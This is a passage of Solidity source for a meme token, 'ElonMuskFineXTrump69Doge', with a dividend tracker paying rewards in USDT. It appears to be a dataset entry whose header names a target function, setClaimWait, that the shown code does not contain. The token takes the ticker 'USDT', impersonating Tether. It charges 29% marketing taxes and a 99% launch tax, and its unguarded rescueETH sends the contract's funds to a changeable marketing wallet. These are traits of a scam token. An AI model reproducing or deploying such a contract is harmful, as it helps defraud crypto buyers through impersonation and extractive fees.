// Contract: ElonMuskFineXTrump69Doge
// Target function: function setClaimWait(uint256 claimWait) external onlyOwner
 ERC20(_name, _symbol) {
      IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
      router = _router;
      rewardToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
  }

    /// @dev Distributes dividends whenever ether is paid to this contract.
    receive() external payable{
        distributeDividends();
    }

     function distributeDividends() public override payable {
      require(totalSupply() > 0);

      if (msg.value > 0) {
        magnifiedDividendPerShare = magnifiedDividendPerShare.add(
          (msg.value).mul(magnitude) / totalSupply()
        );
        emit DividendsDistributed(msg.sender, msg.value);

        totalDividendsDistributed = totalDividendsDistributed.add(msg.value);
      }
    }

    /// @notice Withdraws the ether distributed to the sender.
    /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0.
    function _withdrawDividendOfUser(address payable user) internal returns (uint256) {
        uint256 _withdrawableDividend = withdrawableDividendOf(user);
        if (_withdrawableDividend > 0) {
            withdrawnDividends[user] = withdrawnDividends[user].add(_withdrawableDividend);
            emit DividendWithdrawn(user, _withdrawableDividend);
            if(rewardToken != router.WETH()){
                (bool success) = swapBnbForCustomToken(user, _withdrawableDividend);
                if(!success) {
                    (bool secondSuccess,) = user.call{value: _withdrawableDividend, gas: 3000}("");
                    if(!secondSuccess) {
                        withdrawnDividends[user] = withdrawnDividends[user].sub(_withdrawableDividend);
                        return 0;
                    }       
                }
            }
            else{
                (bool success,) = user.call{value: _withdrawableDividend, gas: 3000}("");
                if(!success) {
                    withdrawnDividends[user] = withdrawnDividends[user].sub(_withdrawableDividend);
                    return 0;
                }
            }
            return _withdrawableDividend;
        }
        return 0;
    }
    
    function setRewardToken(address newToken) external onlyOwner{
        rewardToken = newToken;
    }
  
    function swapBnbForCustomToken(address user, uint256 amt) internal returns (bool) {
          address[] memory path = new address[](2);
          path[0] = router.WETH();
          path[1] = rewardToken;

          try router.swapExactETHForTokens{value: amt}(0, path, user, block.timestamp + 2){
            return true;
        } catch {
            return false;
        }
    }

    /// @notice View the amount of dividend in wei that an address can withdraw.
    /// @param _owner The address of a token holder.
    /// @return The amount of dividend in wei that `_owner` can withdraw.
    function dividendOf(address _owner) public view override returns(uint256) {
      return withdrawableDividendOf(_owner);
    }

    /// @notice View the amount of dividend in wei that an address can withdraw.
    /// @param _owner The address of a token holder.
    /// @return The amount of dividend in wei that `_owner` can withdraw.
    function withdrawableDividendOf(address _owner) public view override returns(uint256) {
      return accumulativeDividendOf(_owner).sub(withdrawnDividends[_owner]);
    }

    /// @notice View the amount of dividend in wei that an address has withdrawn.
    /// @param _owner The address of a token holder.
    /// @return The amount of dividend in wei that `_owner` has withdrawn.
    function withdrawnDividendOf(address _owner) public view override returns(uint256) {
      return withdrawnDividends[_owner];
    }


    /// @notice View the amount of dividend in wei that an address has earned in total.
    /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner)
    /// = (magnifiedDividendPerShare * balanceOf(_owner) + magnifiedDividendCorrections[_owner]) / magnitude
    /// @param _owner The address of a token holder.
    /// @return The amount of dividend in wei that `_owner` has earned in total.
    function accumulativeDividendOf(address _owner) public view override returns(uint256) {
      return magnifiedDividendPerShare.mul(balanceOf(_owner)).toInt256Safe()
        .add(magnifiedDividendCorrections[_owner]).toUint256Safe() / magnitude;
    }

    /// @dev Internal function that transfer tokens from one address to another.
    /// Update magnifiedDividendCorrections to keep dividends unchanged.
    /// @param from The address to transfer from.
    /// @param to The address to transfer to.
    /// @param value The amount to be transferred.
    function _transfer(address from, address to, uint256 value) internal virtual override {
      require(false);

      int256 _magCorrection = magnifiedDividendPerShare.mul(value).toInt256Safe();
      magnifiedDividendCorrections[from] = magnifiedDividendCorrections[from].add(_magCorrection);
      magnifiedDividendCorrections[to] = magnifiedDividendCorrections[to].sub(_magCorrection);
    }

    /// Update magnifiedDividendCorrections to keep dividends unchanged.
    /// @param account The account that will receive the created tokens.
    /// @param value The amount that will be created.
    function _tokengeneration(address account, uint256 value) internal override {
      super._tokengeneration(account, value);

      magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account]
        .sub( (magnifiedDividendPerShare.mul(value)).toInt256Safe() );
    }

    /// @dev Internal function that burns an amount of the token of a given account.
    /// Update magnifiedDividendCorrections to keep dividends unchanged.
    /// @param account The account whose tokens will be burnt.
    /// @param value The amount that will be burnt.
    function _burn(address account, uint256 value) internal override {
      super._burn(account, value);

      magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account]
        .add( (magnifiedDividendPerShare.mul(value)).toInt256Safe() );
    }

    function _setBalance(address account, uint256 newBalance) internal {
      uint256 currentBalance = balanceOf(account);

      if(newBalance > currentBalance) {
        uint256 rewardtokensAmount = newBalance.sub(currentBalance);
        _tokengeneration(account, rewardtokensAmount);
      } else if(newBalance < currentBalance) {
        uint256 burnAmount = currentBalance.sub(newBalance);
        _burn(account, burnAmount);
      }
    }
  }

library IterableMapping {
    // Iterable mapping from address to uint;
    struct Map {
        address[] keys;
        mapping(address => uint) values;
        mapping(address => uint) indexOf;
        mapping(address => bool) inserted;
    }

    function get(Map storage map, address key) public view returns (uint) {
        return map.values[key];
    }

    function getIndexOfKey(Map storage map, address key) public view returns (int) {
        if(!map.inserted[key]) {
            return -1;
        }
        return int(map.indexOf[key]);
    }

    function getKeyAtIndex(Map storage map, uint index) public view returns (address) {
        return map.keys[index];
    }



    function size(Map storage map) public view returns (uint) {
        return map.keys.length;
    }

    function set(Map storage map, address key, uint val) public {
        if (map.inserted[key]) {
            map.values[key] = val;
        } else {
            map.inserted[key] = true;
            map.values[key] = val;
            map.indexOf[key] = map.keys.length;
            map.keys.push(key);
        }
    }

    function remove(Map storage map, address key) public {
        if (!map.inserted[key]) {
            return;
        }

        delete map.inserted[key];
        delete map.values[key];

        uint index = map.indexOf[key];
        uint lastIndex = map.keys.length - 1;
        address lastKey = map.keys[lastIndex];

        map.indexOf[lastKey] = index;
        delete map.indexOf[key];

        map.keys[index] = lastKey;
        map.keys.pop();
    }
}

library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

contract ElonMuskFineXTrump69Doge is ERC20, Ownable {
    using Address for address payable;
    IRouter private  router;
    address private  pair;
    bool private swapping;
    bool private  swapEnabled = true;
    bool public tradingEnabled = false;
    uint256 private  startTradingBlock;
    USDT_DividendTracker public dividendTracker;
    
    address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;
    address private marketingWallet = 0x8207C1faee946BD2fD45CE67a6b72cC37C1D87Ec;
    uint256 private swapTokensAtAmount = 2e5 * 10**9;
    uint256 public maxWalletBalance = 2e5 * 10**9;
    uint256 private maxBuyAmount = 2e5 * 10**9;
    uint256 private maxSellAmount = 2e5 * 10**9;
   
    string private currentRewardToken;

    struct Taxes {
        uint256 rewards;
        uint256 marketing;
        uint256 liquidity;
    }

    Taxes public buyTaxes = Taxes(1, 29, 0);
    Taxes public sellTaxes = Taxes(1, 29, 0);

    uint256 public gasForProcessing = 300000;
    uint256 private antiBotBlocks = 2;
    uint256 private launchtax = 99;
    
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public automatedMarketMakerPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
    event SendDividends(uint256 tokensSwapped, uint256 amount);
    event ProcessedDividendTracker(
        uint256 iterations,
        uint256 claims,
        uint256 lastProcessedIndex,
        bool indexed automatic,
        uint256 gas,
        address indexed processor
    );

    constructor() ERC20("ElonMuskFineXTrump69Doge", "USDT") {
        dividendTracker = new  USDT_DividendTracker();
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;

        _setAutomatedMarketMakerPair(_pair, true);

        dividendTracker.excludeFromDividends(address(dividendTracker), true);
        dividendTracker.excludeFromDividends(address(this), true);
        dividendTracker.excludeFromDividends(owner(), true);
        dividendTracker.excludeFromDividends(deadWallet, true);
        dividendTracker.excludeFromDividends(address(_router), true);

        excludeFromFees(owner(), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(address(this), true);

        _tokengeneration(owner(), 10000000 * (10**9));
    }

    receive() external payable {}

    function processDividendTracker(uint256 gas) external {
        (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) = dividendTracker
            .process(gas);
        emit ProcessedDividendTracker(
            iterations,
            claims,
            lastProcessedIndex,
            false,
            gas,
            tx.origin
        );
    }

    function claim() external {
        dividendTracker.processAccount(payable(msg.sender), false);
    }

    function rescueERC20Tokens(address tokenAddress) external onlyOwner {
        require(tokenAddress != address(this), "Owner can't claim contract's balance of its own tokens");
        IERC20(tokenAddress).transfer(marketingWallet,IERC20(tokenAddress).balanceOf(address(this)));
    }

    function rescueETH() external {
        uint256 ETHbalance = address(this).balance;
        payable(marketingWallet).sendValue(ETHbalance);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        require(
            _isExcludedFromFees[account] != excluded,
            "Account is already the value of 'excluded'"
        );
        _isExcludedFromFees[account] = excluded;

        emit ExcludeFromFees(account, excluded);
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded)
        public
        onlyOwner
    {
        for (uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFees[accounts[i]] = excluded;
        }
        emit ExcludeMultipleAccountsFromFees(accounts, excluded);
    }

    /// @dev "true" to exlcude, "false" to include
    function excludeFromDividends(address account, bool value) external onlyOwner {
        dividendTracker.excludeFromDividends(account, value);
    }

    function setMaxTx(uint256 maxBuy, uint256 maxSell, uint256 maxWallet) external onlyOwner {
        require(maxBuy >= 1e4, "Cannot set max Buy amount lower than 0.1%");
        require(maxSell >= 1e4, "Cannot set max Sell amount lower than 0.1%");
        require(maxWallet >= 1e4, "Cannot set maxWallet lower than 0.1%");
        maxBuyAmount = maxBuy * 10**decimals();
        maxSellAmount = maxSell * 10**decimals();
        maxWalletBalance = maxWallet * 10**decimals();
     }

     function removeTxLimit() external onlyOwner{
        maxBuyAmount = 1e7 * 10**decimals();
        maxSellAmount = 1e7 * 10**decimals();
        maxWalletBalance = 1e7 * 10**decimals();
     }
    
    function setdevelopmentWallet(address newWallet) external onlyOwner {
        require(newWallet != address(this), "Fee Address cannot be Contract Address");
        require(newWallet != address(0),"Fee Address cannot be zero address");
        marketingWallet = newWallet;
       excludeFromFees(newWallet, true);
    }

    function setSwapTokensAtAmount(uint256 amount) external onlyOwner {
        require(amount >= 1e2, "amount must be greater than or equal to 0.001%");
        swapTokensAtAmount = amount * 10**9;
    }

    function setBuyTaxes(uint256 _rewards, uint256 marketing, uint256 _liquidity) external onlyOwner{
        buyTaxes = Taxes(_rewards, marketing, _liquidity);
        require((_rewards + marketing +  _liquidity ) <= 40, "Must keep fees at 40% or less");
    }

    function setSellTaxes(uint256 _rewards, uint256 marketing, uint256 _liquidity) external onlyOwner{
        sellTaxes = Taxes(_rewards, marketing, _liquidity);
        require((_rewards + marketing +  _liquidity ) <= 40, "Must keep fees at 40% or less");
    }

    function setSwapEnabled(bool _enabled) external onlyOwner {
        swapEnabled = _enabled;
    }    

    function enableTradingEnabled() external onlyOwner {
        require(!tradingEnabled, "Trading is already enabled");
        tradingEnabled = true;
        startTradingBlock = block.number;
    }

    function setBotBlocks(uint256 numberOfBlocks) external onlyOwner{
        require(!tradingEnabled, "Can't change when trading has started");
        require(numberOfBlocks < 3,"Deadline should be less than 3 Blocks");
        antiBotBlocks = numberOfBlocks;
    }

    function setMinBalanceForDividends(uint256 amount) external onlyOwner {
        dividendTracker.setMinBalanceForDividends(amount);
    }

    function _setAutomatedMarketMakerPair(address newPair, bool value) private {
        require(automatedMarketMakerPairs[newPair] != value,"Automated market maker pair is already set to that value");
        automatedMarketMakerPairs[newPair] = value;

        if (value) {
            dividendTracker.excludeFromDividends(newPair, true);
        }

        emit SetAutomatedMarketMakerPair(newPair, value);
    }

    /// @notice Update the gasForProcessing needed to auto-distribute rewards
    /// @param newValue The new amount of gas needed
    /// @dev The amount should not be greater than 500k to avoid expensive transactions
    function setGasForProcessing(uint256 newValue) external onlyOwner {
        require( newValue >= 200000 && newValue <= 500000,
           "GasForProcessing must be between 200,000 and 500,000"
        );
        require(newValue != gasForProcessing,
            "Cannot update gasForProcessing to same value"
        );
        emit GasForProcessingUpdated(newValue, gasForProcessing);
        gasForProcessing = newValue;
    }